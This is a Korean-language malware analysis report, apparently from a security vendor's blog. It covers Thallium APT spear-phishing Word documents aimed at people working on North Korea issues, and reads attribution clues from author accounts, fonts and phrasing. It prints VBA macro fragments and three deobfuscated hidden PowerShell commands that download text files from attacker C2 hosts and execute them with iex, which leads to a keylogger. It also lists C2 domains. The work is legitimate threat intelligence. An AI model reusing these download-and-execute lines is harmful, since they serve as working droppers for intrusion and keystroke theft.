포스팅 내용

악성코드 분석 리포트

탈륨 APT 위협 행위자들의 흔적과 악성파일 사례별 비교 분석



안녕하세요? 이스트시큐리티 ESRC(시큐리티대응센터) 입니다.

저희는 07월과 09월에 다음과 같은 탈륨 조직관련 포스팅을 공개한 바 있습니다.



[스페셜 리포트] 미국 MS가 고소한 탈륨 그룹, 대한민국 상대로 '페이크 스트라이커' APT 캠페인 위협 고조 (2020-07-25)

탈륨 조직, 개성공단 근무자 연구와 아태 연구 논문 투고로 사칭한 APT 공격 주의 (2020-09-03)



탈륨 조직의 지능형지속위협(APT) 공격이 여전히 지속되고 있으며, 지금도 활성도가 높은 상태입니다.

최근 추가로 발견된 몇가지 사례를 살펴보고, 이들이 사용하는 공격기법을 알아보고자 합니다.




◇ 악성 DOC 문서 제작자가 사용한 계정 'like' 그리고...




ESRC에서는 9월 중순부터 10월 초까지 탈륨 조직의 위협활동에 주목했습니다.

이들이 최근까지 공격에 사용한 악성 워드(MS Word) 파일을 비교하면 모두 동일한 계정에서 제작된 것을 확인할 수 있습니다.


물론, 여기서 기술한 3가지 사례 이외에도 존재하지만, 이번 내용에선 편의상 생략하도록 하겠습니다.



 파일명

 마지막 수정 날짜

 마지막 작성자 계정

 MD5 (image.png)

 서면인터뷰 질의내용.doc

 2020-09-16

 like

 0861db46d3e44f50597d25a9c3ccad6e

 북한인권백서-2020.doc

 2020-09-29

 like

 0861db46d3e44f50597d25a9c3ccad6e
 학술회의 개최.doc 2020-10-06 like 0861db46d3e44f50597d25a9c3ccad6e



3개의 악성 문서 파일은 모두 동일한 계정명(like)에서 작성된 공통점이 확인되며, 악성 매크로 코드 실행을 유도하기 위해 삽입된 'image.png' 파일의 MD5 Hash 값도 정확히 일치합니다.


악성 문서 내부에 포함된 PNG 이미지 파일은 해외에서 여러차례 보고 되었던 'TA551' 스타일과 유사하며, 아래 내용을 참고해 보시기 바랍니다.


TA551 : https://unit42.paloaltonetworks.com/valak-evolution



[그림 1] 악성 문서가 사용하는 매크로 실행 유도 화면



탈륨 조직들이 사용한 매크로 유도 화면과 TA551 화면 유사성 부분은 계속 조사가 진행 중입니다.


한편, 각 악성 문서 파일은 모두 동일한 패턴의 매크로 코드를 지니고 있습니다.


각각의 매크로 패턴을 부분적으로 비교해 보면 다음과 같이 함수명 선언이 규칙적이며, 글씨체에 한글인 '맑은 고딕'이 공통적으로 사용된 것을 알 수 있습니다. 


이것은 악성 매크로 작성자가 한글을 사용할 수 있는 키보드 환경을 쓰고 있다는 위협 행위자 단서 중에 하나 입니다.



 서면인터뷰 질의내용.doc

 

 Attribute VB_Name = "Module1"

 Sub AutoOpen()

    asfwefsadfasfsadf

    dsfweqfasdfwqfsdaf

    asfwqfasfsdafas

    sdfqefsdafsadfwqefsadf

 End Sub


 
 Function asfwqfasfsdafas()

    Selection.WholeStory

    With Selection.Font

        .NameFarEast = "맑은 고딕"

        .NameAscii = ""

        .NameOther = ""

        .Name = ""

        .Hidden = False

    End With

 End Function


 북한인권백서-2020.doc

 

 Attribute VB_Name = "Module1"

 Sub AutoOpen()

    asfwefsadfasfsadf

    dsfweqfasdfwqfsdaf

    asfwqfasfsdafas

 End Sub


 
 Function asfwqfasfsdafas()

    Selection.WholeStory

    With Selection.Font

        .NameFarEast = "맑은 고딕"

        .NameAscii = ""

        .NameOther = ""

        .Name = ""

        .Hidden = False

    End With

 End Function  

 학술회의 개최.doc

 

 Attribute VB_Name = "Module1"

 Sub AutoOpen()

    asfwefsadfasfsadf

    dsfweqfasdfwqfsdaf

    asfwqfasfsdafas

    sdfqefsdafsadfwqefsadf

 End Sub


 
 Function asfwqfasfsdafas()

    Selection.WholeStory

    With Selection.Font

        .NameFarEast = "맑은 고딕"

        .NameAscii = ""

        .NameOther = ""

        .Name = ""

        .Hidden = False

    End With

 End Function
 



매크로 코드 중에 핵심이라 할 수 있는 명령제어(C2) 서버 통신 부분은 특정 문자열로 난독화가 적용되어 있는데, 모두 동일한 방식이 사용 되었습니다.



[그림 2] 매크로 난독화 영역 비교 화면



난독화에 사용된 '$+D' 문자를 제거하면 다음과 같이 파워셸 명령어를 통해 특정 서버로 접속을 시도하고, 추가 명령을 수행하게 됩니다.


C2 주소만 달라지고 거의 동일한 명령이 유지되고 있다는 것을 확인할 수 있습니다.


그리고 사용된 도메인들이 이전 리포팅에서 기술했던 것처럼 동일한 서비스입니다.



 mypressonline[.]com 

 scienceontheweb[.]net

 atwebpages[.]com

 medianewsonline[.]com

 myartsonline[.]com

 sportsontheweb[.]net

 getenjoyment[.]net

 onlinewebshop[.]net

 mygamesonline[.]org



    qewrtredf(1) = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle"

    qewrtredf(2) = " Hidden -command &{[string]$a"

    qewrtredf(3) = "={(New-Object Net.WebClient)."

    qewrtredf(4) = "Do('http://kenyanews.atwebpa"

    qewrtredf(5) = "ges.com/su/ce.txt')"

    qewrtredf(6) = "};$b=$a.insert(29,'wnloadSt"

    qewrtredf(7) = "ring');$c=iex $b;iex $c}"


    qewrtredf(1) = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle"

    qewrtredf(2) = " Hidden -command &{[string]$a"

    qewrtredf(3) = "={(New-Object Net.WebClient)."

    qewrtredf(4) = "Do('http://busyday.atwebpage"

    qewrtredf(5) = "s.com/rg/ch.txt')"

    qewrtredf(6) = "};$b=$a.insert(29,'wnloadSt"

    qewrtredf(7) = "ring');$c=iex $b;iex $c}"


    qewrtredf(1) = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle"

    qewrtredf(2) = " Hidden -command &{[string]$a"

    qewrtredf(3) = "={(New-Object Net.WebClient)."

    qewrtredf(4) = "Do('http://goldbin.myartsonl"

    qewrtredf(5) = "ine.com/le/yj.txt')"

    qewrtredf(6) = "};$b=$a.insert(29,'wnloadSt"

    qewrtredf(7) = "ring');$c=iex $b;iex $c}"



txt 파일처럼 위장한 파워셸 명령이 작동하면 암호화된 또 다른 파일이 다운로드 시도되고, 추가 명령에 따라 키보드 입력 내용을 탈취하는 키로거(Keylogger) 악성 코드가 작동합니다.


여기서 사용된 문자열 중에 탈륨 조직이 오래전 부터 고유하게 사용하는 데이터가 존재합니다.



$boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"



이와 관련된 내용은 이전 포스팅에서 기술된 분석 자료를 참고하시기 바랍니다.




◇ 위협 행위자들이 남긴 아주 작고 다양한 흔적들




ESRC는 위협 인텔리전스 분석을 통해 이들의 주요 공격 목표가 정확히 일치한다는 점을 확인했습니다.


이들은 통일부 북한인권기록센터를 사칭해 공격을 수행한 바 있는데, 주로 대북분야 및 탈북관련 단체에서 활동하는 인물들이 공격을 받았습니다.


최근에는 HWP 한글 취약점 보다는 DOC 악성 매크로 문서를 이용한 공격이 주류를 이루는 특징이 보이며, 한국에서 서비스되는 이메일을 등록하고 있습니다.



[그림 3] 통일부 북한인권기록센터 사칭한 실제 이메일 공격 화면



최근 발견된 공격 이메일은 한글 표현이 나름 유창하고 과감하게 한국 정부부처 사무관 이름을 사칭하였습니다. 


하지만 간혹 아주 미세한 표현에서 위협 행위자의 한글표현 능력과 지리적 위치를 파악하는데 도움되는 단서를 확보할 수 있습니다.


아래는 지난 08월 경 국내 북한분야 취재기자에게 들어갔던 유사 공격으로 '귀중한 시간을 내주시여 감사합니다.' 라는 문구가 포함되어 있습니다. 얼핏 보기에는 특별히 이상하지 않을 수도 있지만, 언어학적 분석에서 표현 방식은 중요한 분석요소가 됩니다.


여기서 올바른 한국어 표현은 '내주시여'가 아니라 '내주시어'로 대체하여야 합니다만 어떤 곳에서는 그렇지 않습니다.



[그림 4] 악성 DOC 문서를 포함한 해킹 이메일 화면



또, 유사 공격 사례 중에 북한 글씨체인 천리마(KP CheonRiMaChe) 폰트가 악성 문서에서 사용된 바 있는데, 공격의 평소 습관과 환경에 따라 유효 증거들이 위협 현장에서 의도치 않게 발견되기도 합니다.



[그림 5] 북한 글씨체 KP 천리마체가 사용된 악성 문서 내부 코드 화면



보통 교통사고 현장을 조사하는데 매우 중요한 자료 중의 하나가 타이어 자국입니다.


- 노면위에서 타이어가 잠겨 미끄러질 때 나타나는 스키드마크(skid mark)

- 타이어가 잠기지 않고 구르면서 옆으로 미끄러지거나 짓눌리면서 끌린 형태로 나타나는 스커프마크(scuff mark)

- 타이어가 정상적으로 구르면서 타이어 접지면 형상이 그대로 나타나는 프린트마크(print mark)


타이어 자국은 길이, 방향, 문양 등을 통해 차량의 속도, 충돌지점, 차량의 운동형태 등을 파악하는데 큰 도움이 됩니다.


이와 비슷하게 침해사고에서 발견되는 다양한 흔적들은 위협 행위자를 추적하고 연구하는데 중요한 증거가 될 수 있습니다.


특히, 북한연구 및 탈북과 관련된 인권 단체 종사자들, 북한관련 언론사 기자 등이 일관성 있게 공격을 받는 공통점도 핵심 요소 중에 하나입니다.


이처럼 탈륨 조직의 사이버 위협 활동이 지속되고 있다는 점에 주목하여 이들의 공격을 예방하고 피해를 최소화하는데 많은 관심과 노력이 필요한 시기입니다.


ESRC에서는 정부차원의 APT 공격에 보다 체계적이고 신속한 대응을 위해 관련 기관과 공조를 강화하고 있으며, 보다 상세한 침해지표(IoC)와 위협 인텔리전스 리포트 등은 '쓰렛 인사이드(Threat Inside)' 서비스를 통해 제공할 예정입니다.




티스토리 방명록 작성
name password homepage